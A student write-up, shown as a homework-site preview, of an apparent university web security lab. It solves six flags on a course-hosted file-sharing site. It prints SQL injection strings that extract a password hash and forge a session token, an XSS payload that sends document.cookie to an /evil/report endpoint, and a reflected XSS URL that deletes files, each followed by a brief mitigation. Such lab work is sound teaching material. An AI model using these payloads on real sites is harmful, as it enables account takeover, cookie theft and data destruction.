CS_161_Proj_3_Write_up_

.pdf

School

University of California, Berkeley *

*We aren’t endorsed by this school

Course

61C

Subject

Computer Science

Date

Feb 20, 2024

Type

pdf

Pages

3

Uploaded by DeaconFlagArmadillo23

Report
CS 161 Proj 3 Write up 1 CS 161 Proj 3 Write up Flag 1: dev I was able to find the password in the comments upon inspecting the element of the webpage. As seen below. <!-- Demo Login/Password: Username = 'dev', Password = 'we-love-security' --> == $0 Flag 2: ip.txt “Renamed” Password.txt file to ip.txt, “Opened” it on machine, put 161.161.161.161 as content, deleted existing file on the server, uploaded edited ip.txt, shared with cs161. Flag 3: shomil ' UNION SELECT md5_hash FROM users WHERE username='shomil'-- On entering this into the List files “Search for a file: ______” we obtain shomil 's password hash Search results for ' UNION SELECT md5_hash FROM users WHERE username='shomil'-- 7f3af3a3ffd282bc516d4c45efa9112d Open Share Rename ip.txt Open Share Rename Suggestion: To prevent such an SQL injection attack, we can use parameterized queries or prepared statements instead of being able to user input SQL queries. We can also clean user input to remove any characters that could be used for SQL injection. Flag 4: nicholas We will edit the session token with SQL injection
CS 161 Proj 3 Write up 2 ' union select username from users where username= 'nicholas' -- The backend would think this is a request from nicholas and would enable us access to the account. Suggestion: We should use HTTPS for web traffic to prevent editing of the session tokens. Flag 5: cs161 For this exploit, we would first need to upload a random txt file to dev and then rename it to a particular file name given below. <script>fetch('/evil/report?message='+document.cookie)</script> We then share this file to the cs161 account to give the cs161 ’s session cookie by pushing it onto the /evil/logs page Suggestion: Cleaning and filtering the input to allow for safe input. Safe protocols like HTTPS. Flag 6: delete Using inspect and going to the network tab, we realize that pressing delete files redirects to the page https://box.cs161.org/site/deleteFiles. Because a search is displayed back to user, we can exploit this by putting a script in the URL. We modifying the original URL and inject an inline <script> tag exploit with: https://box.cs161.org/site/search?term=<script>fetch(‘https://box.cs161.org/site/delet eFiles',{method:'POST'})</script>; Suggestion: We can sanitize and escape all inputs from the user and potentially implement the Content Security Policy, which prevents users from performing XSS attacks with their inputs and prevents unexpected scripts execution.
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
  • Access to all documents
  • Unlimited textbook solutions
  • 24/7 expert homework help
Related Questions
please give right answers do not use other webiste and chatgpt for this answer its giving wring answers all time please also this webiste allow exert answer 3 question i am asking only 2 question please 9 10 answer correctly
The mode portion of the command format is made up of the following parts:   Category of users you are working with: u = user, g = group, o = other or a = all   Permissions:  r = read, w = write or x = execute   Assume the file, pfile1, has the following permissions, r----x-w-. Use symbolic mode to change the permissions to rwxrw-r--.
PHP, MYSGL The company "Visitors" wants a website for a guestbook. They want the guestbook to work so that you can create and delete posts in it.The guestbook must contain the entries who made the post (name or alias),The post (the text written) anddate and time when the post took place.The created posts must be stored in a text file in serialized form.NOTE! You do not need to be able to update these posts, it is enough that you can create new ones and delete any post. Your solution should be object-oriented with PHP and be able to store / read all information against a serialized file on your server.The features to be implemented in your solution on the guestbook website should be: possibility to create and delete posts in the guestbookInformation that should be in each record should be:username / signature, post, date + time of created postExamples of entries in the file:The silver surfer, In the sea are the biggest fish, 2018-01-17 22:41:55Falo, 100 small mice built a nest in a…
Create a login button on the index page and take the user to a login page. Prompt them for their username and password and compare it to the username and password stored for them in web storage. If it matches, display an alert that says "Logged In" If it does not match, display a message on the page that the username or password does not match and try again. At the bottom of the login form, add a reset password link. Take the user to a reset password page that prompts them for their username and password and changes the password in web storage. Existing Code: Index.html <!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Titan Sports Store</title> <link rel="stylesheet" href="./css/style.css"></head><body><header>Titan Sports Store</header><div class="banner"><div…
You want to find where under the root directory, the file passwd is located. Show the command you would use. Redirect error out to /dev/null file.
Create a login button on the index page and take the user to a login page. Prompt them for their username and password and compare it to the username and password stored for them in the register web storage. If it matches, display an alert that says "Logged In" If it does not match, display a message on the page that the username or password does not match and try again. At the bottom of the login form, add a reset password link. Take the user to a reset password page that prompts them for their username and password and changes the password in web storage. Existing code: index.html <!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Titan Sports Store</title> <link rel="stylesheet" href="./css/style.css"></head><body><header>Titan Sports Store</header><div…
A symbolic link is also known as a soft link and is depicted by an @ symbol appearingat the beginning of the filename when viewed using the ls –l command. True or False?
Q3: Write an external java script to validate password field for following (i) Password field cannot be empty (ii) Password must have 8 to 15 characters, digits letters ,and allowed special characters are $ and @ Also make an HTML form containing password field and include java script file to this
Create user Peter, Brian and Cindy, create group Family and Friend. Add user Peter and Brian to the Family group, add Cindy to the Friend group. Set up password for all three users. Log in as Peter, create a file “Peter-file1”, set up permission to allow Brian to read and modify the file, but not Cindy. Verify your set up to see Peter and Brian can read and modify the file, but not Cindy. Take screenshot of your configuration.
Your Word document contains a linked object. You plan to send a version of the document to your colleagues, but you do not want your colleagues to view subsequent updates to this file. Which method would be best to use? Select one: a. Break the link b. Change the link source c. Set updates to automatic d. Set updates to manual
5. The file simple has a permissions field of rwxr--r--. What command removes w from the user and adds x to group and other? 6. Given that contact-info has the following data. $ cat contact-info 555-1111 1J333 555-2222 2F328 555-3333 1J322 Barker-Plummer, D dbp Etchemendy, J etch Liu, A a-liu Write a single Unix command to save the following field to a file called sortedcontact
JavaScript triggers? It has a "onclick" function.
linuzoo.net "wildcard" tutorial # 7 Create a hard link in progs called biglink, which is a hard link to the bigfile file in your home directory. In "ls -l bigfile" the hard link count should be 2. If you make mistakes and create links with the wrong name or in the wrong place you will be marked wrong until you fix the problem.
Write the command to create a symbolic link to a file called lnkfile3. Call the link lnkfile4.
Write a php page(login.php) that reads a user ame and a password. When the user presses the login button, the username and password will be stored in an ACCESS database. Also the username and password will be stored in a text file named: logos.txt
Create a script using ssh that will append the date to a file called ~/public_html/lab5.1.html Remember the date command can be used to display the date Remember ssh {user}@{host} {command} notice the command option you can run a single command with ssh The script should be located on your VM. Run the script a couple of times and navigate to it user your browser by going to {username}.scweb.ca/lab5.1.html
Ansible playbook 294 question
-student name can contain only alphabet and spaces -student id or course id can contain only numbers -login in can contain only alphabet Form 2 A client-server application for students registration system A) Client side: (HTML, CSS) Write the code for the register.html . The student or the registrar use the client register.html. The student uses enters his login and password in register.html to choose the courses for the next semester. If the course is opened then the students can add it. The students can register up to 18 credit hours. The registrar (login = root, and password = 123) uses register.html to add student, add course, remove a student, and remove a course. See the following run: Server Side: Write the code of the server side register.php page such that. 1) The register.php checks using the regular expressions in PHP if the login is valid or not. A valid login must be exactly 7 characters and starts with a letter and followed by any one or more of the characters, S, 0-9,…
Type the following command and press Enter, to add a user to the system. Type msfadmin forthe password.mfadmin@metasploitable:~$ sudo useradd superUSERADD COMMAND9. Type the following command to verify that the user exists and determine their UID. Thenpress Enter.mfadmin@metasploitable:~$ id superID COMMAND10. Get the information for below Challenge Flag by using the same techniques from the previous steps.
Downloads/ ht 8 (File X English localhost:8888/notebooks/Downloads/CSE110%20Lab%20Assignment%208%20(File%201_0%20%26%20Exception).ipynb Cjupyter CSE110 Lab Assignment 8 (File I_O & Exception) Last Checkpoint: 6 hours ago (unsaved changes) Logout File Edit View Insert Cell Kernel Widgets Help Trusted Python 3 O • Run с Code Task 10 Write a python program that finds the corresponding energy values from a list of frequency values which are taken as input from the user, using the formula, E = h * f, where h is a constant of value: 1050 Exceptions to handle: • Make sure all elements in the lists are numbers Example 1: Input: [2,3] Output: [2100, 3150] ==== Example 2: Input: [2,boss] Output: Wrong input type In [ ]: #to do OneDrive Screenshot saved Task 11 The screenshot was added to your OneDrive. Imagine Salman Khan is going to the sets of a new movie. He decides to cycle everyday on his way to the sets. For that he uses a distan finds the distance based on the present day's date, which is…
Downloads/ ht 8 (File X English localhost:8888/notebooks/Downloads/CSE110%20Lab%20Assignment%208%20(File%201_0%20%26%20Exception).ipynb Cjupyter CSE110 Lab Assignment 8 (File I_O & Exception) Last Checkpoint: 6 hours ago (unsaved changes) Logout File Edit View Insert Cell Kernel Widgets Help Trusted Python 3 O • Run Code Task 9 Write a python program that will take a string input from the user. Your task is to count the number of vowels and consonants in the string. Using try, if the number of vowels is greater than or equal to the number of consonants, then raise a runtime error. Print 'Number of vowels greater/equal to consonants. Please paraphrase.'. Otherwise, print 'The sentence will work.'. Note: a,e,i,o,u are called vowels and all the other 21 english alphabets are consonants. =====: Example 1: Input: 'his age is 10' Output: Number of vowels greater/equal to consonants. Please paraphrase. Example 2: Input: 'he is 10 years old' Output: The sentence will work. In [ ]: #to do Task…
Downloads/ ht 8 (File X English localhost:8888/notebooks/Downloads/CSE110%20Lab%20Assignment%208%20(File%201_0%20%26%20Exception).ipynb Cjupyter CSE110 Lab Assignment 8 (File I_O & Exception) Last Checkpoint: 6 hours ago (unsaved changes) Logout File Edit View Insert Cell Kernel Widgets Help Trusted Python 3 O > Run Code Task 6 Given a list named my_list. my_list = [10, 20, 30, 40, 60, 100, 2, 5] Write a python program that takes the position as an input from the user and prints the element of that position from the list. If the user's input position is not in the range, return an exception stating "Index out of range". If the user's input position is not an Ingeter number, return an exception stating "For position, please enter an Integer value". Make sure your program always prints "Program ended" at the end, no matter what happens. Hint: Use finally block Example 1: Input: 1 Output: 20 Program ended =======: Example 2: Input: 10 Output: Index out of range. 8:28 PM * 4) 1/4/2022
Assignment 2 - Remember meAs you learned in the topic of Session and Cookies.Create a simple web application with 3 pages:1- login2- logout3- contentWe the user login, the app redirect the user to "content" page, andsave the login status or information in the cookies.If the user close the app, and open it; the app not open the login; Itconvert the user directly to "content" page, because the login status orinformation saved in the cookies.If the user logout, he cannot open "content" page directly.Important Note: use session for login, and cookies for remember thelogin.Any two copies are gotten Big ZeroUpload your assignment as compressed file whose name formatted asstudentID_sectionNo.rar
wrong commands
Which of the following will select all <p> tags of class bb Select one: a. .bb b. bb c. #bb d. p.bb
q28
Will be using code Lginter! Registration First Name  Last Name  Email Address Password  Confirm Password  Require to have validation of user input  Valid email address Make sure the email address does not exist in the database before doing insert into the database Password and Confirm Password are matching Password need to hash before doing insert into database ("password_hash" is a PHP build in function which can be used)
Clipboard Font Paragraph UPLOAD BLOCKED We ran into a problem with this file. and can't save any new changes.Please Styles Save a Copy Answer Q.7. Find the network first IP address of the given IP address (167.33.21.123). Answer
Use file permissions along with the  chown, chmod, and  chgrp commands to create a couple of folders: Create a directory (mkdir command) inside your home directory and set the permissions using the symbolic mode of chmod. The directory should be named dir1 and both you and the group cs260 should be able get into the directory and read from files. Only you should be able to write to the directory and no one other than you and the cs260 group should be able to access these files in any way. Create a file in this directory and put your name in it. Log in as Tess or Jessie and show that you can see the contents of the file. Save screenshots of both your commands to set up the folder, a listing of your home directory that shows the folder’s permissions, and you logged in as jesse/tess along with the contents of the file printed out on the screen (use vi or cat for this) Create a directory inside your home directory that both you and the cs260 group have full permissions on. No one else…
Use file permissions along with the  chown, chmod, and  chgrp commands to create a couple of folders: Create a directory (mkdir command) inside your home directory and set the permissions using the symbolic mode of chmod. The directory should be named dir1 and both you and the group cs260 should be able get into the directory and read from files. Only you should be able to write to the directory and no one other than you and the cs260 group should be able to access these files in any way. Create a file in this directory and put your name in it. Log in as Tess or Jessie and show that you can see the contents of the file. Save screenshots of both your commands to set up the folder, a listing of your home directory that shows the folder’s permissions, and you logged in as jesse/tess along with the contents of the file printed out on the screen (use vi or cat for this) Create a directory inside your home directory that both you and the cs260 group have full permissions on. No one else…
Downloads/ ht 8 (File X English localhost:8888/notebooks/Downloads/CSE110%20Lab%20Assignment%208%20(File%201_0%20%26%20Exception).ipynb C jupyter CSE110 Lab Assignment 8 (File I_O & Exception) Last Checkpoint: 6 hours ago (unsaved changes) Logout File Edit View Insert Cell Kernel Widgets Help Trusted Python 3 O + • Run с Code Task 11 Imagine Salman Khan is going to the sets of a new movie. He decides to cycle everyday on his way to the sets. For that he uses a distance calculator which finds the distance based on the present day's date, which is asked as an input from the user. You should first take the day and then the month as your inputs. The inputs should be stored in variables named day and month .The distance calculator uses the following formula to calculate a number which dictates the number of kilometers he must cycle on his way to work. Distance = lif day<10, 5+(day*2)/month |else, 3+(day/month) Exceptions to handle: -Check for 0 division error exception in the formula -Type…
1- Create a new user on either VM (on 60 or 65). Use the following requirements: Create a user called victor Set victor's password to Victor123! (case sensitive). Update victor's PATH variable so that, at each login, it is set to include the bin and data directories used by PostgreSQL. Include the steps you took, including what user you became to do the work, below.
SEE MORE QUESTIONS
Recommended textbooks for you
Text book image
Database System Concepts
Computer Science
ISBN:9780078022159
Author:Abraham Silberschatz Professor, Henry F. Korth, S. Sudarshan
Publisher:McGraw-Hill Education
Text book image
Starting Out with Python (4th Edition)
Computer Science
ISBN:9780134444321
Author:Tony Gaddis
Publisher:PEARSON
Text book image
Digital Fundamentals (11th Edition)
Computer Science
ISBN:9780132737968
Author:Thomas L. Floyd
Publisher:PEARSON
Text book image
C How to Program (8th Edition)
Computer Science
ISBN:9780133976892
Author:Paul J. Deitel, Harvey Deitel
Publisher:PEARSON
Text book image
Database Systems: Design, Implementation, & Manag...
Computer Science
ISBN:9781337627900
Author:Carlos Coronel, Steven Morris
Publisher:Cengage Learning
Text book image
Programmable Logic Controllers
Computer Science
ISBN:9780073373843
Author:Frank D. Petruzella
Publisher:McGraw-Hill Education
SEE MORE TEXTBOOKS
Related Questions
SEE MORE QUESTIONS
Recommended textbooks for you
Text book image
Database System Concepts
Computer Science
ISBN:9780078022159
Author:Abraham Silberschatz Professor, Henry F. Korth, S. Sudarshan
Publisher:McGraw-Hill Education
Text book image
Starting Out with Python (4th Edition)
Computer Science
ISBN:9780134444321
Author:Tony Gaddis
Publisher:PEARSON
Text book image
Digital Fundamentals (11th Edition)
Computer Science
ISBN:9780132737968
Author:Thomas L. Floyd
Publisher:PEARSON
Text book image
C How to Program (8th Edition)
Computer Science
ISBN:9780133976892
Author:Paul J. Deitel, Harvey Deitel
Publisher:PEARSON
Text book image
Database Systems: Design, Implementation, & Manag...
Computer Science
ISBN:9781337627900
Author:Carlos Coronel, Steven Morris
Publisher:Cengage Learning
Text book image
Programmable Logic Controllers
Computer Science
ISBN:9780073373843
Author:Frank D. Petruzella
Publisher:McGraw-Hill Education
SEE MORE TEXTBOOKS